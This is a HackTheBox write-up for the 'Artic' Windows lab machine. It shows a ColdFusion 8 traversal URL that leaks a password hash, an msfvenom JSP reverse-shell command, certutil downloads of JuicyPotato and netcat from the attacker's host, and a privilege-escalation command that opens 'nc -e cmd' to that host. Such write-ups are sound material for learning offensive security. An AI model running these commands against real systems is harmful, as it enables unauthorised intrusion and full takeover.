> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md).
# Artic HackTheBox Writeup
Artic HackTheBox Easy Windows machine writeup covering Adobe ColdFusion 8 Exploitation, Directory Traversal Vulnerability, Cracking Hashes, Abusing Scheduled Tasks - Creating malicious JSP file, with
{% hint style="warning" %}
**Skills:**
* Adobe ColdFusion 8 Exploitation
* Directory Traversal Vulnerability
* Cracking Hashes
* Abusing Scheduled Tasks - Creating malicious JSP file
* Abusing SeImpersonate Privilege (Privilege Escalation)
{% endhint %}
## Reconnaissance
**Workspace Setup:**
Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.
**VPN Connectivity Check**
Check VPN connectivity to ensure stable communication with the target machine.
**Open Port Discovery with Nmap:**
Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:
```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.11 -oG allPorts
```
**Open Port Analysis with extractPorts:**
Use the extractPorts function to display open ports in a concise format and copy them to the clipboard.
**Port Version Scan with Nmap:**
Use Nmap to scan service versions and save the output in the "targeted" file:
```bash
nmap -sCV -p135,8500,49154 10.10.10.11 -oN targeted
```
## Adobe ColdFusion 8 Exploitation (Port 8500)
We observe an administration service accessible on port 8500 that requires a username and password to connect to Adobe ColdFusion.
By searching for associated vulnerabilities in `searchsploit`, we find an operating script for a directory-crossing vulnerability.
`searchsploit -x multiple/remote/14641.py`
This script reveals a LFI vulnerability to access the passwordlist:
`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`
The file contains the following value for the password:
`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`
### Cracking the Password
{% embed url="" %}
Using CrackStation, we decipher this hash, and the password is `happyday`. We can now connect successfully.
### Creating a Malware Planned Task
In the scheduled task section, we will create a new task to save a malicious file in the `C:/ColdFusion8/wwwroot/CFIDE` directory, to which we have read/write rights.
**JSP File Creation:** Since the server can interpret JSP files, we will generate a JSP shell with `msfvenom`:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```
**Add a New Task:** We set up the planned task to run this malicious file.
/*/* HTTP server to Transfer File:/*/* To transfer the JSP file, we launch an HTTP server on our machine:
```bash
python3 -m http.server 80
```
**Scope Listening and Execution:** We listen to port 443 to receive the shell reverse and then execute the planned task at `/CFIDE/`:
```bash
rlwrap nc -nvlp 443
```
### Flag user.txt :)
## Privilege Escalation
### Abusing SeImpersonatePrivilege:
We found that the user has the `SeImpersonatePrivilege` privilege, making him vulnerable to certain privilege enhancement techniques. The command below confirms the presence of this privilege:
```bash
whoami /priv
```
To exploit this vulnerability, we will use **JuicyPotato**, a well-known tool to abuse this privilege in the Windows context.
**Download Required Tools**
{% embed url="" %}
{% embed url="" %}
**Starting an HTTP server** on our attack machine to serve files:
```bash
python3 -m http.server 8080
```
**Transfer files to the target machine** using `certutil`:
```powershell
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe
certutil.exe -f -urlcache -split http://10.10.14.10:8080/nc64.exe
```
**Execution of JuicyPotato for the Escalation Privilege**
We will now run JuicyPotato to get a privileged session. The following command launches JuicyPotato, which runs `cmd.exe` with high privileges and initiates a connection to our attack machine via Netcat:
```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc.exe -e cmd 10.10.14.10 1234"
```
**Login to High Session**
To intercept the connection, we listen to port 1234:
```bash
rlwrap nc -nvlp 1234
```
### Flag root :)
---
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